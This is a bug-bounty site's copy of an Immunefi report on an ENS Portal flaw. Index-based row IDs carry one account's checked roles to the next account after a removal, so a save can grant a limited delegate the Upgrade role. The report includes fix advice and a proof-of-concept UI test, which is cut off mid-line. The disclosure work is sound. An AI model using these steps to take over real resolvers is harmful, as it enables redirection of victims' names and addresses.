Skip to content
Access control Audit finding Advanced

Portal row reuse can grant one resolver delegate another account s upgrade role

The resolver Roles page in the ENS Portal identifies table rows by array index rather than account address, and the edit sidebar only resets its cached permission map when that positional ID changes. After a victim removes one account and the list compacts, the next account inherits the removed account's checked roles, so a save can grant that account the Upgrade role and let it replace the shared resolver implementation.

IronsideSec Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

92535 w a critical portal row reuse can grant one resolver delegate another account s upgrade role

Submitted on Sep 10th 2026 at 14:49:05 UTC by @IronsideSec for Audit Competition | ENS

  • Report ID: #92535
  • Report Type: Websites & Apps
  • Report severity: Critical
  • Target: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/apps/portal
  • Impacts:
    • Malicious interactions with an already-connected wallet, such as: Modifying transaction arguments or parameters Substituting contract addresses Submitting malicious transactions Signing or submitting a transaction against the wrong chain (for example when the request's target chain is not validated) Inducing a blanket token approval (for example setApprovalForAll on the registry or NameWrapper) to an attacker-controlled address

Description

Brief / Introduction

The resolver Roles page gives TanStack Table no stable row-ID function, so each row is identified only by its current array index ("0", "1", ...). The edit sidebar separately caches the checked permission map and resets it only when that positional ID changes.

If a victim removes adjacent account A, waits for the normal successful transaction/refetch, and then edits successor account B, B moves into A's old row ID. The sidebar now displays B's address but retains A's checked roles. If the victim makes a legitimate change for B—for example, checks only ABI—the Portal computes and submits the union of that requested role and A's retained roles for B.

The decisive root-role trace is:

Before removal: A row "0" = Pubkey + Upgrade; B row "1" = Pubkey
After refetch:  B row "0" = Pubkey
Sidebar target: B, but editable map still contains A's Upgrade=true
Victim action:  checks only ABI, then saves
Submitted call: grantRootRoles(UPGRADE | SET_ABI, B)
B's result:     PUBKEY | SET_ABI | UPGRADE

A malicious B can then call upgradeToAndCall and replace the shared resolver implementation. The complete Portal-source test and pinned Sepolia fork test below reproduce this chain without a ZIP or private dependency.

Vulnerability Details

Root cause: account identity is split from cached permission state

DataTable.tsx:33-47 creates the table without TanStack's getRowId; rows therefore use current array indexes. ResolverRolesTable.tsx:97-137 stores the selected row object in editingRow while keeping the sidebar mounted.

The sidebar reads the current account from row.original, but keeps editable permissions in separate component state. ResolverRolesSidebar.tsx:175-184 resets that state only when row.id !== prevRowId:

TSX
  if (row && row.id !== prevRowId) {
    setPrevRowId(row.id)
    setEditedPermissions(roleToPermissions(row.original.decodedRoles))
  }

Removal polls the indexer and invalidates resolver-overview at ResolverRolesSidebar.tsx:251-287. The transaction completion handler at lines 503-508 closes the modal and sheet, but does not clear editingRow, prevRowId, or editedPermissions.

Consequently, after A disappears and B shifts from row "1" to "0":

  • row.original.account and the sidebar heading become B;
  • row.id remains "0", the same value cached for A;
  • the reset condition is false; and
  • A's permission map remains attached to B.

This is a cross-account authorization bug. It is not merely a stale label or stale visual row.

The visible checkbox does not disclose the cross-account grant

This report does not claim that Upgrade is invisible. The stale Upgrade checkbox is visibly checked after B opens. The security problem is its meaning: the dialog has just switched to B, so an unchanged checked control appears to describe B's existing state. It provides no warning or diff that Upgrade came from removed account A and will be newly granted to B. The table summary still says B has only Pubkey, so a user who carefully cross-checks both views can notice the inconsistency; the normal save flow does not explain it.

The transaction modal says Save resolver role changes / Update roles for B, but does not enumerate ABI and Upgrade separately (ResolverRolesSidebar.tsx:339-349). The wallet receives one valid contract call. Simulation cannot detect that Upgrade came from stale UI state.

Thus the claim is narrow: a victim can leave the apparently pre-existing Upgrade checkbox unchanged, intentionally add ABI, and approve a transaction that grants both to B. It requires two visible wallet actions—remove A, then update B—not a hidden transaction.

Exact save semantics

computeRoleChanges compares B's true on-chain roles against the retained edit map. With B's true role PUBKEY, retained UPGRADE=true, and the victim's new ABI=true, it returns:

rolesToGrant = UPGRADE | SET_ABI
rolesToRevoke = 0

handleSaveChanges binds that union to the current B account. The modal and mutation consume the same pending action (lines 467-501). prepareGrantResolverRolesTransaction selects the root path and encodes:

Solidity
grantRootRoles(0x10000000000000000000000000010000, B)

0x10000 is SET_ABI; bit 124 is UPGRADE. The complete test captures this exact calldata from the frozen Portal code.

Threat model and reproducible preconditions

The primary scenario uses unrelated A, a malicious existing limited delegate B, and a connected victim who owns/administers the resolver:

  1. The victim can access the resolver Roles route and has the role-admin authority needed to revoke A and grant ABI/Upgrade. The PoC initializes this victim with ALL_ROLES, satisfying both the Portal's route-management check and the contract's grant/revoke checks.
  2. B initially has only a limited, non-Upgrade role (Pubkey in the PoC). B cannot call upgradeToAndCall.
  3. A has the dangerous Upgrade assignment and no other surviving assignment/account group. Fully revoking A therefore removes A from the returned table.
  4. B is A's immediate successor in the actual refetched grouped-account order, so B receives A's former positional ID.
  5. The victim legitimately removes A through the Portal and waits for the successful refetch.
  6. B requests a legitimate ABI permission, or the victim otherwise edits B next.
  7. The victim leaves the stale checked Upgrade control unchanged, checks ABI, and saves.
  8. B receives fresh Upgrade authority, then replaces the resolver implementation.

B does not need a front-run, injected browser state, failed transaction, compromised owner key, or prior Upgrade authority. Role data is publicly queryable, so B can inspect the returned ordering and act only when the conditions exist. The attacker cannot force every victim's ordering; A's complete disappearance, B's immediate-successor position, and the victim's next edit are real preconditions.

Current Panoptes observations show that removals compact the returned list and that multi-row ordering exists. A passive sample of the latest 1,000 EAC role-change events contained 58 events whose new bitmap was zero. Follow-up queries showed fully revoked rows omitted, including three resolvers that returned roleHolderCount: 0 and roles: []. A separate captured resolver returned four current rows in non-increasing latest-change timestamp order, with its older owner root row last. groupRolesByAccount preserves first-seen order. This non-random evidence is not a prevalence estimate and does not prove every multi-row resolver is exploitable. Equal timestamps have no explicit tie-breaker; the report does not rely on a claim that every row has a distinct timestamp.

Different root cause and fix from aggregate-removal over-revocation

A separate report concerns removal code that unions roles from multiple scoped rows and then revokes that aggregate bitmap. This finding does not require aggregate removal and does not depend on the removed bitmap being too broad:

This finding Aggregate-removal finding
Vulnerable action Editing B after A is removed/refetched Removing one selected assignment
Wrong binding A's cached checked state is rebound to B Roles from other scopes enter a revoke bitmap
Dangerous call here grantRootRoles(UPGRADE | SET_ABI, B) An over-broad revoke call
Primary fix Stable account row IDs + reset edit state when the selected account changes Scope removal bitmap and contract call to selected assignment

Either fix can be applied while the other bug remains. Shared UI component location is not a shared root cause.

The scope's known-issue preamble also states that a demonstrated security consequence—its example is “a role combination that grants authority it should not”—goes beyond listed functional/UX breakage and is a new finding. This PoC proves exactly such fresh authority and its Critical transaction consequence. QA-01 itself concerns follow-up failures after name transfers; it does not disclose this positional cross-account state binding or its stable-row/reset fix.

Recommended fix

  1. Let DataTable accept a getRowId callback, and have ResolverRolesTable pass the normalized grouped-account address (for example, row => row.account.toLowerCase()).
  2. Key and reset sidebar edit state by resolver plus row.original.account, not positional row.id.
  3. On successful removal, clear editingRow, prevRowId, pending action, and edited permissions before invalidation/refetch.
  4. Reset through useEffect when the resolver, account, or source role set changes; do not call a state setter during render.
  5. Before submission, rebuild the role delta from fresh on-chain/indexer state and display each role that will be granted or revoked.
  6. Add the regression sequence A:0, B:1 -> remove A -> B:0 -> edit B for root and name-scoped rows.

Impact Details

A root UPGRADE holder passes the deployed Permissioned Resolver upgrade authorization. The fork test gives B only Pubkey initially, submits the exact Portal-produced stale grant, and then shows B successfully replacing the proxy implementation with malicious code.

The replacement controls all names that share that resolver. Through the deployed Universal Resolver, both victim names return attacker-controlled text, and addr(bytes32) resolves to B. This enables profile/contact replacement and cryptocurrency-address redirection for all attached names. The negative control resets the form before saving; B then gets ABI only and the same upgrade call fails.

The upgraded proxy cannot be rolled back in place when the malicious implementation omits the upgrade entrypoint. Recovery is possible, so this report does not claim permanent irreversibility: the name owner can deploy a clean resolver, detach each name in the registry, and restore records. The fork proves this is per-name cleanup: detaching the first label repairs its Universal Resolver path while the second label remains attacker-controlled until separately detached. Prior misdirected interactions cannot be retroactively repaired.

This maps directly to listed Critical impact 6288: “Malicious interactions with an already-connected wallet,” including “Modifying transaction arguments or parameters” and “Submitting malicious transactions.” The victim deliberately changes only B's ABI permission, while stale cross-account state makes the scoped Portal generate SET_ABI | UPGRADE for B. B's later resolver-implementation replacement is the proved consequence of that modified role-bitmap argument. This report does not characterize the victim-created resolver proxy as a central ENS protocol contract, and it does not require a contract defect: the contract faithfully executes the malformed authorization generated by the in-scope Portal.

References

Proof of Concept

Proof of Concept

The complete PoC is embedded below. No ZIP or attachment is required. It has two layers:

  • a frozen-source Portal test that mounts the real DataTable, ResolverRolesTable, ResolverRolesSidebar, role-diff logic, ENSJS preparation, modal intent, mutation, and ABI encoding; and
  • a pinned Sepolia fork test that uses the deployed Verifiable Factory, Permissioned Resolver implementation, ETH Registrar, registry, USDC, and Universal Resolver.

Local substitutes in the Portal layer are the resolver-overview responses, transaction modal button, indexer polling, wallet/public clients, and mutation transport. The stateful UI and transaction-construction path under test are product code. The fork writes only to local fork state; it sends no transaction to Sepolia.

Prerequisites and paths

Use the frozen repository, Node.js 22 with its lockfile-installed workspaces, Foundry, and the included Solidity 0.8.30 configuration. Create audit_workspace/renewed/lead034-rowid-stale-high/ and save every block below relative to that directory. The test uses a public read-only Tenderly Sepolia RPC and pins block 11,673,299.

rowid-stale-save.test.tsx

TSX
import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
import type { PropsWithChildren } from 'react'
import { afterEach } from 'vitest'
import { decodeFunctionData, parseAbi, toHex, type Address } from 'viem'
import { packetToBytes } from 'viem/ens'

const mocks = vi.hoisted(() => ({
  startTransaction: vi.fn(),
  waitForTransaction: vi.fn(),
  pollForIndexerSync: vi.fn(),
  openModal: vi.fn(),
  closeModal: vi.fn(),
  clearTransaction: vi.fn(),
  preparedIntent: undefined as any,
  activeTransaction: undefined as any,
  walletClient: {
    account: { address: '0x1111111111111111111111111111111111111111' },
    chain: { id: 11155111 },
  } as any,
  publicClient: {} as any,
}))

const VICTIM = '0x1111111111111111111111111111111111111111' as const
const ACCOUNT_A = '0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' as const
const ATTACKER_B = '0xbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb' as const
const RESOLVER = '0x4444444444444444444444444444444444444444' as const
const NAME = 'lead034-victim.eth'
const CHAIN_ID = 11155111

vi.mock('@/lib/wagmi', () => ({ sepoliaWithEns: { id: 11155111 } }))
vi.mock('@/hooks/use-mobile', () => ({ useIsMobile: () => false }))
vi.mock('@/features/registry/utils/signer.helpers', () => ({
  createEOASigner: () => ({ kind: 'deterministic-signer' }),
}))
vi.mock('@/utils/query/pollForIndexerSync', () => ({
  pollForIndexerSync: mocks.pollForIndexerSync,
}))
vi.mock('@/features/transaction-manager/hooks/useTransactionModal', () => ({
  useTransactionModal: () => ({
    openModal: mocks.openModal,
    closeModal: mocks.closeModal,
    clearTransaction: mocks.clearTransaction,
  }),
}))
vi.mock('@/components/CopyButton', () => ({ CopyButton: () => null }))
vi.mock('@/components/EntityBadge', () => ({
  EntityBadge: ({ children }: PropsWithChildren) => <span>{children}</span>,
}))
vi.mock('@ens-apps/transaction-manager', () => ({
  transactionManager: { startTransaction: mocks.startTransaction },
  waitForTransaction: mocks.waitForTransaction,
}))

// Keep ResolverRolesTable, ResolverRolesSidebar, DataTable and every calldata
// helper real. This narrow harness only exposes the descriptor that the real
// sidebar hands to the transaction modal. "Complete" models the modal's
// successful onDone callback after the captured production mutation settles.
vi.mock('@/features/transaction-manager/components/TransactionModal', () => ({
  TransactionModal: ({ transactions }: { transactions: any[] }) => {
    const transaction = transactions[0]
    mocks.activeTransaction = transaction
    return transaction?.intent?.prepare ? (
      <section aria-label="Captured transaction modal">
        <button
          type="button"
          onClick={() => {
            mocks.preparedIntent = transaction.intent.prepare({
              walletClient: mocks.walletClient,
              publicClient: mocks.publicClient,
              chainId: CHAIN_ID,
            })
            transaction.onStart()
          }}
        >
          Execute captured modal action
        </button>
        <button type="button" onClick={() => transaction.onDone()}>
          Complete captured modal action
        </button>
      </section>
    ) : null
  },
}))

import { ResolverRolesTable } from '../../../apps/portal/src/features/resolver/components/ResolverRolesTable'
import type {
  ResolverNode,
  ResolverRole,
} from '../../../apps/portal/src/features/resolver/hooks/useResolverOverview'
import {
  computeNameResource,
  resolverPermissions,
  resolverRoles,
} from '../../../apps/portal/src/lib/roles/resolverRoles'
import { truncateAddress } from '../../../apps/portal/src/utils/formatting/truncateAddress'

const roleAbi = parseAbi([
  'function authorizeNameRoles(bytes toName, uint256 roleBitmap, address account, bool grant) returns (bool)',
  'function grantRootRoles(uint256 roleBitmap, address account) returns (bool)',
  'function revokeRootRoles(uint256 roleBitmap, address account) returns (bool)',
])

const makeRole = (
  account: Address,
  roleBitmap: bigint,
  blockNumber: number,
): ResolverRole => ({
  account,
  resource: computeNameResource(NAME),
  roleBitmap: toHex(roleBitmap),
  blockNumber,
  transactionHash: `0x${blockNumber.toString(16).padStart(64, '0')}`,
  timestamp: blockNumber,
  name: NAME,
})

const accountARole = makeRole(
  ACCOUNT_A,
  resolverRoles.ROLE_SET_PUBKEY | resolverRoles.ROLE_SET_TEXT,
  101,
)
const attackerBRole = makeRole(ATTACKER_B, resolverRoles.ROLE_SET_PUBKEY, 100)
const ROOT_RESOURCE = `0x${'00'.repeat(32)}`
const makeRootRole = (
  account: Address,
  roleBitmap: bigint,
  blockNumber: number,
): ResolverRole => ({
  account,
  resource: ROOT_RESOURCE,
  roleBitmap: toHex(roleBitmap),
  blockNumber,
  transactionHash: `0x${blockNumber.toString(16).padStart(64, '0')}`,
  timestamp: blockNumber,
  name: null,
})
const accountARootRole = makeRootRole(
  ACCOUNT_A,
  resolverRoles.ROLE_SET_PUBKEY | resolverRoles.ROLE_UPGRADE,
  201,
)
const attackerBRootRole = makeRootRole(
  ATTACKER_B,
  resolverRoles.ROLE_SET_PUBKEY,
  200,
)
// Panoptes also returns the resolver owner's ordinary root assignment. Keep it
// as the oldest row so the production-shaped order is A, B, owner before A's
// full revoke and B, owner after the compacting refetch.
const ALL_RESOLVER_ROLES = BigInt(
  '0x1111111111111111111111111111111111111111111111111111111111111111',
)
const ownerRootRole = makeRootRole(VICTIM, ALL_RESOLVER_ROLES, 1)
const nodes: ResolverNode[] = [
  {
    id: computeNameResource(NAME),
    name: NAME,
    owner: { id: VICTIM },
    resolver: { id: RESOLVER, address: RESOLVER },
  },
]

let queryClient: QueryClient

const QueryWrapper = ({ children }: PropsWithChildren) => (
  <QueryClientProvider client={queryClient}>{children}</QueryClientProvider>
)

const managerCheckbox = (roleKey: string): HTMLButtonElement => {
  const checkbox = document.getElementById(`${roleKey}-manager`)
  expect(checkbox).toBeTruthy()
  return checkbox as HTMLButtonElement
}

const isChecked = (element: HTMLElement) =>
  element.getAttribute('data-state') === 'checked'

const visibleManagerState = () =>
  Object.fromEntries(
    resolverPermissions.map(({ key }) => [key, isChecked(managerCheckbox(key))]),
  )

const changedVisibleManagerControls = (
  before: Record<string, boolean>,
  after: Record<string, boolean>,
) => Object.keys(before).filter((key) => before[key] !== after[key])

describe('LEAD-034: index row identity carries stale permissions to a new account', () => {
  beforeEach(() => {
    vi.clearAllMocks()
    queryClient = new QueryClient({
      defaultOptions: {
        queries: { retry: false, gcTime: 0 },
        mutations: { retry: false },
      },
    })
    mocks.preparedIntent = undefined
    mocks.activeTransaction = undefined
    ;(globalThis as any).__lead034WalletClient = mocks.walletClient
    ;(globalThis as any).__lead034PublicClient = mocks.publicClient
    mocks.pollForIndexerSync.mockResolvedValue(undefined)
    mocks.startTransaction.mockReturnValue('lead-034-transaction')
    mocks.waitForTransaction.mockResolvedValue({ hash: `0x${'99'.repeat(32)}` })
  })

  afterEach(() => {
    cleanup()
    queryClient.clear()
  })

  it('removes row 0, refetches, then grants row 0 successor stale TEXT plus intentionally selected ABI', async () => {
    const view = render(
      <QueryWrapper>
        <ResolverRolesTable
          roles={[accountARole, attackerBRole, ownerRootRole]}
          nodes={nodes}
          resolverAddress={RESOLVER}
          canManageRoles
        />
      </QueryWrapper>,
    )

    // TanStack's generic DataTable assigns array-index row ids because the
    // production table supplies no getRowId. Account A is row "0" and B is
    // row "1" and the owner is row "2". Open A through the real edit action.
    const initialEditButtons = screen.getAllByRole('button', {
      name: 'Edit user roles',
    })
    expect(initialEditButtons).toHaveLength(3)
    fireEvent.click(initialEditButtons[0])

    await waitFor(() =>
      expect(document.querySelector('[data-slot="sheet-title"]')?.textContent).toBe(
        truncateAddress(ACCOUNT_A.toLowerCase() as Address, 6, 4),
      ),
    )
    expect(screen.getAllByText(`Roles scoped to ${NAME}`)).toHaveLength(1)
    expect(isChecked(managerCheckbox('ROLE_SET_TEXT'))).toBe(true)
    expect(isChecked(managerCheckbox('ROLE_SET_PUBKEY'))).toBe(true)
    expect(isChecked(managerCheckbox('ROLE_SET_ABI'))).toBe(false)

    // Actual Remove A UI and confirmation path.
    fireEvent.click(screen.getByRole('button', { name: 'Remove user' }))
    expect(
      await screen.findByText(
        'Are you sure you want to remove this user from all roles? This action cannot be undone.',
      ),
    ).toBeTruthy()
    fireEvent.click(screen.getByRole('button', { name: 'Remove' }))
    fireEvent.click(
      await screen.findByRole('button', {
        name: 'Execute captured modal action',
      }),
    )
    await waitFor(() => expect(mocks.startTransaction).toHaveBeenCalledTimes(1))

    const removeIntent = mocks.startTransaction.mock.calls[0][0]
    const decodedRemove = decodeFunctionData({
      abi: roleAbi,
      data: removeIntent.request.data,
    })
    expect(decodedRemove.args[0]).toBe(toHex(packetToBytes(NAME)))
    expect(decodedRemove.args[1]).toBe(
      resolverRoles.ROLE_SET_PUBKEY | resolverRoles.ROLE_SET_TEXT,
    )
    expect((decodedRemove.args[2] as string).toLowerCase()).toBe(ACCOUNT_A)
    expect(decodedRemove.args[3]).toBe(false)
    fireEvent.click(
      screen.getByRole('button', { name: 'Complete captured modal action' }),
    )

    // Model the resolver-overview invalidation/refetch: the parent supplies
    // B and the owner's ordinary root row while ResolverRolesTable and its
    // sidebar retain component state. B is now the first array entry and
    // therefore reuses TanStack row id "0".
    view.rerender(
      <QueryWrapper>
        <ResolverRolesTable
          roles={[attackerBRole, ownerRootRole]}
          nodes={nodes}
          resolverAddress={RESOLVER}
          canManageRoles
        />
      </QueryWrapper>,
    )
    const refetchedEditButtons = screen.getAllByRole('button', {
      name: 'Edit user roles',
    })
    expect(refetchedEditButtons).toHaveLength(2)
    fireEvent.click(refetchedEditButtons[0])

    // Header/account/scope come from current B's row object. The permission
    // state did not reset because current B and removed A both have row.id=0.
    await waitFor(() =>
      expect(document.querySelector('[data-slot="sheet-title"]')?.textContent).toBe(
        truncateAddress(ATTACKER_B.toLowerCase() as Address, 6, 4),
      ),
    )
    expect(screen.getAllByText(`Roles scoped to ${NAME}`)).toHaveLength(1)
    expect(isChecked(managerCheckbox('ROLE_SET_PUBKEY'))).toBe(true)
    expect(isChecked(managerCheckbox('ROLE_SET_TEXT'))).toBe(true)
    expect(isChecked(managerCheckbox('ROLE_SET_ABI'))).toBe(false)

    // The victim intentionally changes exactly one visible control: ABI.
    const visibleBefore = visibleManagerState()
    fireEvent.click(managerCheckbox('ROLE_SET_ABI'))
    const visibleAfter = visibleManagerState()
    expect(visibleBefore.ROLE_SET_PUBKEY).toBe(true)
    expect(visibleBefore.ROLE_SET_TEXT).toBe(true)
    expect(visibleBefore.ROLE_SET_ABI).toBe(false)
    expect(changedVisibleManagerControls(visibleBefore, visibleAfter)).toEqual([
      'ROLE_SET_ABI',
    ])

    fireEvent.click(screen.getByRole('button', { name: 'Save' }))
    fireEvent.click(
      await screen.findByRole('button', {
        name: 'Execute captured modal action',
      }),
    )
    await waitFor(() => expect(mocks.startTransaction).toHaveBeenCalledTimes(2))

    const saveIntent = mocks.startTransaction.mock.calls[1][0]
    expect(saveIntent).toEqual(mocks.preparedIntent)
    expect(saveIntent.request.to).toBe(RESOLVER)
    const decodedSave = decodeFunctionData({
      abi: roleAbi,
      data: saveIntent.request.data,
    })
    const staleTextPlusSelectedAbi =
      resolverRoles.ROLE_SET_TEXT | resolverRoles.ROLE_SET_ABI
    expect(staleTextPlusSelectedAbi).toBe(0x10010n)
    expect(decodedSave.functionName).toBe('authorizeNameRoles')
    expect(decodedSave.args[0]).toBe(toHex(packetToBytes(NAME)))
    expect(decodedSave.args[1]).toBe(0x10010n)
    expect((decodedSave.args[2] as string).toLowerCase()).toBe(ATTACKER_B)
    expect(decodedSave.args[3]).toBe(true)
    expect(mocks.startTransaction.mock.calls[1][2]).toEqual(
      expect.objectContaini

The original report as published on Immunefi, by IronsideSec. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the table rows lack a stable account-based row ID, so the sidebar's cached permission state is keyed to a positional index that a different account can inherit after a removal and refetch.

Impact

A limited delegate could gain the Upgrade role and replace the shared resolver implementation, letting it control names that use that resolver and redirect addresses, though recovery is possible by deploying a clean resolver and detaching each name.

What the attacker needed

Victim has role-admin authority; attacker holds a limited delegate role; removed account is fully revoked; attacker is next row after refetch

The fix

The table should use a stable account-based row ID and the sidebar should reset its edit state whenever the selected account changes, rebuilding the role delta from fresh state before submission.

How it was found

  1. Victim removes account A through the Portal and waits for the successful refetch.
  2. Account B shifts into A's former row position, so the sidebar shows B but keeps A's checked roles.
  3. Victim leaves the stale Upgrade checkbox unchanged, ticks ABI for B, and saves.
  4. The Portal submits a grant of Upgrade and ABI to B.
  5. B uses the new Upgrade authority to replace the resolver implementation.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web page lists accounts that can change a name's settings, and each row is tracked by its position in the list rather than by who the account is. When one account is deleted, the next one slides up into the same position, so the page thinks it is still editing the old account and keeps the old ticked boxes. The user then saves what looks like a small change but actually hands the new account a powerful permission.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by IronsideSec

View all

28 more disclosed reports, best first.

More from ENS

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.